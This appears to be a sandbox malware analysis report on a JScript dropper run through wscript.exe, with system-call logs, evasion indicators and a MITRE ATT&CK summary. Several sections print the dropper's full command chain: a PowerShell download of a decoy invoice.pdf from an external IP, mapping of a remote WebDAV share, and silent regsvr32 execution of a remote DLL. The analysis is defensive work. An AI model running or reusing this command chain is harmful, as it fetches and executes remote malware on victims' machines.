Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2450.js.csv");ITextStream.WriteLine(" entry:8501 f:vghophl");ITextStream.WriteLine(" exec:2 f:vghophl");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4475			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4802			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2916	Thread sleep count: 4475 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2916	Thread sleep count: 4802 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2564	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 60	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6740	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5664	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1528903849.0000024A949A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1528903849.0000024A94948000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2748793182.000002506665E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2747821838.000002506502B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1528903849.0000024A949A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs[

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
